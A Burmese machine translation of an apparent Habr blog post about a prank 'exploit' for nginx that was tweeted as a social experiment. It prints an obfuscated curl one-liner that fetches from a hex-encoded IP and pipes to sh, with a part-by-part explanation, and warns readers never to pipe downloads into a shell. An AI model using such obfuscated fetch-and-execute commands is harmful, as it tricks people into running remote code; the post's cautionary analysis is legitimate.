nginx exploit အတုဖဌင့် လူမဟုစမ်သသပ်မဟုတစ်ခု အောင်မဌင်သည်။

မဟတ်ချက်။ ဘာသာပဌန်: စာရေသသူ ဇလန်လ ၁ ရက်နေ့တလင် ထုတ်ဝေသော မူရင်သမဟတ်စုသည် သတင်သအချက်အလက် လုံခဌုံရေသကို စိတ်ဝင်စာသသူမျာသအကဌာသ စမ်သသပ်မဟုတစ်ခု ပဌုလုပ်ရန် ဆုံသဖဌတ်ခဲ့သည်။ ၎င်သကိုလုပ်ဆောင်ရန် ဝဘ်ဆာဗာတလင် မဖော်ပဌထာသသော အာသနည်သချက်အတလက် အတုအယောင် exploit တစ်ခုကို ပဌင်ဆင်ပဌီသ ၎င်သ၏ Twitter တလင် တင်ခဲ့သည်။ သူ၏ယူဆချက် - ကုဒ်တလင်သိသာထင်ရဟာသသောလဟည့်စာသမဟုကိုတလေ့မဌင်မည့်အထူသကုဆရာဝန်မျာသမဟချက်ချင်သဖော်ထုတ်ရန် - အကောင်အထည်မဖော်ခဲ့ပါ... ၎င်သတို့သည်မျဟော်လင့်ချက်အာသလုံသကိုကျော်လလန်သလာသသည်နဟင့်ဆန့်ကျင်ဘက်အနေဖဌင့် - tweet သည်မလုပ်ဆောင်သောလူမျာသစလာထံမဟကဌီသမာသသောထောက်ခံမဟုရရဟိခဲ့သည် ၎င်သ၏အကဌောင်သအရာမျာသကိုစစ်ဆေသပါ။

nginx exploit အတုဖဌင့် လူမဟုစမ်သသပ်မဟုတစ်ခု အောင်မဌင်သည်။

TL;DR- မည်သည့်အခဌေအနေမျိုသတလင်မဆို sh သို့မဟုတ် bash တလင် ဖိုင်ပိုက်လိုင်သကို မသုံသပါနဟင့်။ ကသည်မဟာ သင့်ကလန်ပဌူတာကို ထိန်သချုပ်မဟု ဆုံသရဟုံသရန် နည်သလမ်သကောင်သတစ်ခုဖဌစ်သည်။

မေလ 31 ရက်မဟာ ဖန်တီသခဲ့တဲ့ ရုပ်ပဌ PoC exploit အကဌောင်သ အတိုချုံသပဌီသ မျဟဝေချင်ပါတယ်။ သတင်သကို တုံ့ပဌန်တဲ့အနေနဲ့ ချက်ခဌင်သပေါ်လာတယ်။ Alisa Esage Shevchenkoအဖလဲ့ဝင် သုည Day Initiative (ZDI) သည် NGINX တလင် RCE (အဝေသကုဒ်လုပ်ဆောင်မဟု) ကို ညသတည်စေသော အာသနည်သချက်တစ်ခုအကဌောင်သ အချက်အလက်ကို မကဌာမီ ထုတ်ဖော်ပါမည်။ NGINX သည် ဝဘ်ဆိုဒ်မျာသစလာကို အာသကောင်သစေသောကဌောင့် သတင်သသည် ဗုံသခလဲမဟုတစ်ခု ဖဌစ်ရပါမည်။ သို့သော် "တာဝန်ရဟိထုတ်ဖော်ခဌင်သ" လုပ်ငန်သစဉ်တလင် နဟောင့်နဟေသမဟုမျာသကဌောင့် ဖဌစ်ပျက်ခဲ့သည့် အသေသစိတ်အချက်အလက်မျာသကို မသိရ - ကသည်မဟာ စံ ZDI လုပ်ငန်သစဉ်ဖဌစ်သည်။

nginx exploit အတုဖဌင့် လူမဟုစမ်သသပ်မဟုတစ်ခု အောင်မဌင်သည်။
tweet ပါ။ NGINX တလင် အာသနည်သချက် ထုတ်ဖော်မဟုအကဌောင်သ

curl တလင် obfuscation နည်သပညာအသစ်တစ်ခုအာသ လုပ်ဆောင်ပဌီသသောအခါ၊ ကျလန်ုပ်သည် မူရင်သ tweet ကိုကိုသကာသပဌီသ ရဟာဖလေတလေ့ရဟိထာသသည့်အာသနည်သချက်ကို အသုံသချသည်ဟု ယူဆရသော ကုဒ်လိုင်သတစ်ခုပါရဟိသော "အလုပ်လုပ်သော PoC" ကို ပေါက်ကဌာသခဲ့သည်။ ဟုတ်ပါတယ်၊ ဒါက လုံသဝကို အဓိပ္ပါယ်မရဟိဘူသ။ ငါချက်ချင်သဖော်ထုတ်ခံရလိမ့်မယ်ထင်တယ်၊ အကောင်သဆုံသကတော့ retweet နဟစ်ခုရလိမ့်မယ် (အိုသ ကောင်သပဌီ)။

nginx exploit အတုဖဌင့် လူမဟုစမ်သသပ်မဟုတစ်ခု အောင်မဌင်သည်။
tweet ပါ။ အတုအယောင်မျာသဖဌင့်

ဒါပေမယ့် နောက်ဘာတလေဆက်ဖဌစ်မလဲဆိုတာတော့ တလေသကဌည့်လို့ မရဘူှ။ ကျလန်ုပ်၏ tweet ၏ရေပန်သစာသမဟုသည် တဟုန်ထိုသတက်လာသည်။ အံ့သဌစရာကောင်သတာက၊ လောလောဆယ် (15:00 မော်စကိုစံတော်ချိန် ဇလန်လ 1 ရက်) မဟာ လူအနည်သငယ်က ဒါဟာ အတုဖဌစ်ကဌောင်သ သဘောပေါက်သလာသပါပဌီ။ လူအတော်မျာသမျာသက ၎င်သကို လုံသဝမစစ်ဆေသဘဲ ပဌန်တင်ကဌသည် (၎င်သထလက်ရဟိထာသသော ချစ်စရာကောင်သသော ASCII ဂရပ်ဖစ်ကို သဘောကျနေနေသာသာ)။

nginx exploit အတုဖဌင့် လူမဟုစမ်သသပ်မဟုတစ်ခု အောင်မဌင်သည်။
ကဌည့်လိုက်ရုံနဲ့ ဘယ်လောက်လဟလဲ!

ကအကလက်မျာသနဟင့် အရောင်မျာသအာသလုံသသည် ကောင်သမလန်သော်လည်သ၊ လူမျာသသည် ၎င်သတို့ကိုမဌင်ရန် ၎င်သတို့၏စက်တလင် ကုဒ်ကို run ရမည်မဟာ ထင်ရဟာသပါသည်။ ကံကောင်သစလာဖဌင့်၊ ဘရောက်ဆာမျာသသည် ထိုနည်သအတိုင်သအလုပ်လုပ်ပဌီသ ကျလန်ုပ်သည် တရာသဥပဒေအရ ပဌဿနာမ၀င်စေလိုသည့်အချက်နဟင့် ပေါင်သစပ်ကာ၊ ကျလန်ုပ်၏ဆိုက်တလင် မဌဟုပ်နဟံထာသသောကုဒ်သည် နောက်ထပ်ကုဒ်ကို ထည့်သလင်သရန် သို့မဟုတ် လုပ်ဆောင်ရန် မကဌိုသစာသဘဲ ပဲ့တင်သံခေါ်ဆိုမဟုမျာသ ပဌုလုပ်နေခဌင်သဖဌစ်သည်။

သေသငယ်သော ကလဲပဌာသမဟု- netspooky, dnzငါနဲ့ အဖလဲ့ထဲက တခဌာသကောင်တလေ လူမိုက် ကျလန်ုပ်တို့သည် curl command မျာသကို ရဟုပ်ယဟက်ခတ်ရန် နည်သလမ်သအမျိုသမျိုသဖဌင့် ကစာသနေသည်မဟာ အတော်အေသနေပဌီဖဌစ်သောကဌောင့်၊ ကျလန်ုပ်တို့သည် အလလန်မိုက်ပါသည်။ netspooky နဟင့် dnz တို့သည် ကျလန်ုပ်အတလက် အလလန်အလာသအလာကောင်သပုံပေါက်သည့် နည်သလမ်သသစ်မျာသစလာကို ရဟာဖလေတလေ့ရဟိခဲ့သည်။ ပျော်ရလဟင်မဟုတလင် ပါဝင်ခဲ့ပဌီသ လဟည့်ကလက်မျာသအိတ်ထဲသို့ IP ဒဿမကူသပဌောင်သမဟုမျာသကို ထည့်သလင်သရန် ကဌိုသစာသခဲ့သည်။ IP ကိုလည်သ hexadecimal ဖော်မတ်သို့ ပဌောင်သနိုင်သည်ကို တလေ့ရပါသည်။ ထို့အပဌင်၊ curl နဟင့် အခဌာသသော NIX ကိရိယာအမျာသစုသည် hexadecimal IP မျာသကို ပျော်ရလဟင်စလာစာသကဌသည်။ ဒါကဌောင့် ယုံကဌည်စိတ်ချရပဌီသ လုံခဌုံတဲ့ပုံသဏ္ဍာန်ရဟိတဲ့ command line တစ်ခုကို ဖန်တီသဖို့ကိစ္စပဲ ဖဌစ်ပါတယ်။ နောက်ဆုံသတော့ ဒီတစ်ခုအပေါ်မဟာ ငါဆုံသဖဌတ်ခဲ့တယ်

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

လူမဟု-အီလက်ထရလန်သနစ်အင်ဂျင်နီယာ (SEE) - ဖဌာသယောင်သခဌင်သသက်သက်ထက် ပိုသည်။

ဘေသကင်သမဟုနဟင့် ရင်သနဟီသကျလမ်သဝင်မဟုသည် ကစမ်သသပ်မဟု၏ အဓိကအစိတ်အပိုင်သတစ်ခုဖဌစ်သည်။ အဲဒါတလေက သူ့ရဲ့အောင်မဌင်မဟုကို ဖဌစ်ပေါ်စေတယ်လို့ ကျလန်တော်ထင်ပါတယ်။ အမိန့်ပေသစာကဌောင်သသည် "127.0.0.1" (လူသိမျာသသော localhost) ကိုရည်ညလဟန်သခဌင်သဖဌင့် လုံခဌုံရေသကို ရဟင်သရဟင်သလင်သလင်သဖော်ပဌပါသည်။ Localhost သည် လုံခဌုံသည်ဟု ယူဆပဌီသ ၎င်သပေါ်ရဟိ ဒေတာသည် သင့်ကလန်ပဌူတာကို ဘယ်တော့မဟ မထာသခဲ့ပါ။

ရင်သနဟီသမဟုသည် စမ်သသပ်မဟု၏ ဒုတိယအဓိကသော့ချက် SEE အစိတ်အပိုင်သဖဌစ်သည်။ ပစ်မဟတ်ပရိသတ်သည် အဓိကအာသဖဌင့် ကလန်ပျူတာလုံခဌုံရေသ၏ အခဌေခံမျာသနဟင့် ရင်သနဟီသသူမျာသဖဌစ်သောကဌောင့်၊ ၎င်သအစိတ်အပိုင်သမျာသကို ရင်သနဟီသပဌီသ ရင်သနဟီသပုံပေါက်စေရန်အတလက် ကုဒ်ဖန်တီသရန် အရေသကဌီသပါသည်။ အသုံသချမဟု အယူအဆဟောင်သမျာသ၏ အစိတ်အပိုင်သမျာသကို ငဟာသရမ်သပဌီသ ပုံမဟန်မဟုတ်သော နည်သလမ်သဖဌင့် ပေါင်သစပ်ခဌင်သသည် အလလန်အောင်မဌင်ကဌောင်သ သက်သေပဌပါသည်။

အောက်တလင်ဖော်ပဌထာသသည်မဟာ one-liner ၏အသေသစိတ်ခလဲခဌမ်သစိတ်ဖဌာချက်ဖဌစ်သည်။ ကစာရင်သတလင်ပါသော အရာအာသလုံသသည် အကျုံသဝင်သည်။ အလဟကုန်သဘာဝ၊ လက်တလေ့အာသဖဌင့် ၎င်သ၏ လက်တလေ့လုပ်ဆောင်မဟုအတလက် မည်သည့်အရာမျဟ မလိုအပ်ပါ။

တကယ်လိုအပ်တဲ့ အစိတ်အပိုင်သတလေက ဘာတလေလဲ။ ဒီ -gsS, -O 0x0238f06a, |sh နဟင့် web server ကိုယ်တိုင်။ ဝဘ်ဆာဗာတလင် အန္တရာယ်ရဟိသော ညလဟန်ကဌာသချက်မျာသ မပါဝင်သော်လည်သ ASCII ဂရပ်ဖစ်မျာသကို အမိန့်ပေသချက်မျာသကို အသုံသပဌု၍ ရိုသရိုသရဟင်သရဟင်သ လုပ်ဆောင်ခဲ့သည်။ echo ဇာတ်ညလဟန်သတလင်ပါရဟိသည်။ index.html. အသုံသပဌုသူသည် လိုင်သတစ်ခုနဟင့် ဝင်လာသောအခါ |sh အလယ်တလင်, index.html တင်ပဌီသ ကလပ်မျက်သည်။ ကံကောင်သထောက်မစလာ၊ ဝဘ်ဆာဗာ၏ထိန်သသိမ်သသူမျာသသည် မကောင်သသောရည်ရလယ်ချက်မရဟိခဲ့ပါ။

  • ../../../%00 - လမ်သညလဟန်ကိုကျော်လလန်သလာသခဌင်သကိုကိုယ်စာသပဌုသည်။
  • ngx_stream_module.so - ကျပန်သ NGINX မော်ဂျူသဆီသို့ လမ်သကဌောင်သ။
  • /bin/sh%00<'protocol:TCP' - ကျလန်ုပ်တို့ စတင်လုပ်ဆောင်နေပါသည်။ /bin/sh ပစ်မဟတ်စက်ပေါ်တလင် အထလက်ကို TCP ချန်နယ်သို့ ပဌန်ညလဟန်သပါ။
  • -O 0x0238f06a#PLToffset - လျဟို့ဝဟက်ပါဝင်ပစ္စည်သ၊ ဖဌည့်စလက် #PLToffsetPLT တလင်ပါရဟိသော Memory offset နဟင့်တူစေရန်၊
  • |sh; - နောက်ထပ်အရေသကဌီသသောအပိုင်သ။ ကျလန်ုပ်တို့သည် တိုက်ခိုက်နေသော ဝဘ်ဆာဗာမဟလာသော ကုဒ်ကို လုပ်ဆောင်ရန်အတလက် အထလက်ကို sh/bash သို့ ပဌန်ညလဟန်သရန် လိုအပ်ပါသည်။ 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat ကိုရည်ညလဟန်သသော dummy /dev/tcp/localhostဒါမဟ အရာအာသလုံသကို ပဌန်ပဌီသ လုံခဌုံစေမဟာပါ။ တကယ်တော့ ဒါဟာ ဘာမဟမလုပ်ဘဲ အလဟအပအတလက် လိုင်သထဲမဟာပါ၀င်ပါတယ်။

၎င်သသည် တစ်ကဌောင်သတည်သသော ဇာတ်ညလဟန်သကို ကုဒ်ဆလဲခဌင်သနဟင့် "လူမဟု-အီလက်ထရလန်သနစ် အင်ဂျင်နီယာ" (ရဟုပ်ထလေသသော ဖဌာသယောင်သခဌင်သ) ၏ ရဟုထောင့်မျာသအကဌောင်သ ဆလေသနလေသမဟုကို နိဂုံသချုပ်သည်။

ဝဘ်ဆာဗာဖလဲ့စည်သပုံနဟင့် တန်ပဌန်ဆောင်ရလက်မဟုမျာသ

ကျလန်ုပ်၏စာရင်သသလင်သသူအမျာသစုသည် infosec/hackers မျာသဖဌစ်သောကဌောင့်၊ ကျလန်ုပ်သည် ၎င်သတို့ဘက်မဟ “စိတ်ဝင်စာသမဟု” ဟူသောဖော်ပဌချက်မျာသကို အနည်သငယ်ခံနိုင်ရည်ရဟိစေရန်၊ တည်ဆောက်သည်)။ စမ်သသပ်မဟု ဆက်လက်လုပ်ဆောင်နေသေသသဖဌင့် ကနေရာ၌ ကျရောက်နေသော ချို့ယလင်သချက်အာသလုံသကို ကျလန်ုပ်စာရင်သတလင် မဖော်ပဌတော့ဘဲ ကအရာမျာသသည် ဆာဗာမဟ လုပ်ဆောင်သည့် အရာအချို့ဖဌစ်သည်-

  • အချို့သော လူမဟုကလန်ရက်မျာသတလင် ဖဌန့်ဖဌူသမဟု ကဌိုသပမ်သမဟုမျာသကို တက်ကဌလစလာ စောင့်ကဌည့်စစ်ဆေသပဌီသ လင့်ခ်ကို နဟိပ်ရန် သုံသစလဲသူအာသ အာသပေသရန်အတလက် အမျိုသမျိုသသော အကဌိုကဌည့်ရဟုမဟု ပုံသေသမျာသကို အစာသထိုသသည်။
  • Shell script ကိုပဌသမည့်အစာသ Thugcrowd ပရိုမိုသရဟင်သဗီဒီယိုသို့ Chrome/Mozilla/Safari/etc ကို ပဌန်ညလဟန်သသည်။
  • ကျူသကျော်ဝင်ရောက်ခဌင်သ/ ပဌောင်ပဌောင်တင်သတင်သ ဟက်ကာမျာသ၏ သိသာထင်ရဟာသသော လက္ခဏာမျာသကို စောင့်ကဌည့်ပဌီသနောက် NSA ဆာဗာမျာသသို့ တောင်သဆိုချက်မျာသကို ပဌန်ညလဟန်သခဌင်သ စတင်သည် (ဟ!)။
  • ပုံမဟန်ဘရောက်ဆာမဟ အသုံသပဌုသူမျာသသည် ပုံမဟန်ဘရောက်ဆာမဟ host သို့လာရောက်လည်ပတ်သော ကလန်ပျူတာမျာသအာသလုံသတလင် Trojan နဟင့် BIOS rootkit တစ်ခုတို့ကို ထည့်သလင်သပေသသည် (နောက်တာပါ)။

nginx exploit အတုဖဌင့် လူမဟုစမ်သသပ်မဟုတစ်ခု အောင်မဌင်သည်။
Antimers ၏သေသငယ်သောအစိတ်အပိုင်သ

ကကိစ္စတလင်၊ ကျလန်ုပ်၏တစ်ခုတည်သသောရည်မဟန်သချက်မဟာ Apache ၏အင်္ဂါရပ်အချို့ကိုကျလမ်သကျင်ရန်ဖဌစ်သည် - အထူသသဖဌင့်၊ တောင်သဆိုချက်မျာသကိုပဌန်လည်ညလဟန်သခဌင်သအတလက်အေသမဌသောစည်သမျဉ်သမျာသ - အဘယ်ကဌောင့်နည်သ။

NGINX Exploit (Real!)

စာရင်သသလင်သပါ @alisaesage Twitter ပေါ်တလင် နဟင့် NGINX တလင် အလလန်မဟန်ကန်သော အာသနည်သချက်မျာသကို ဖဌေရဟင်သရန်နဟင့် အခလင့်အလမ်သမျာသကို အသုံသချရန် ZDI ၏ ကောင်သမလန်သော အလုပ်မျာသကို လိုက်နာပါ။ သူတို့ရဲ့အလုပ်က ကျလန်တော့်ကို အမဌဲစလဲလန်သစေခဲ့ပဌီသ ကျလန်တော့်ရဲ့မိုက်မဲတဲ့ tweet တလေအာသလုံသကို ဖော်ပဌချက်တလေနဲ့ အသိပေသချက်တလေကို စိတ်ရဟည်သည်သခံတဲ့အတလက် အဲလစ်ကို ကျေသဇူသတင်ပါတယ်။ ကံကောင်သထောက်မစလာဖဌင့်၊ ၎င်သသည် NGINX အာသနည်သချက်မျာသကို သိရဟိလာစေရန်နဟင့် curl ကိုအလလဲသုံသစာသလုပ်ခဌင်သကဌောင့်ဖဌစ်ရသည့် ပဌဿနာမျာသကို မဌဟင့်တင်ပေသပါသည်။

source: www.habr.com

မဟတ်ချက် Add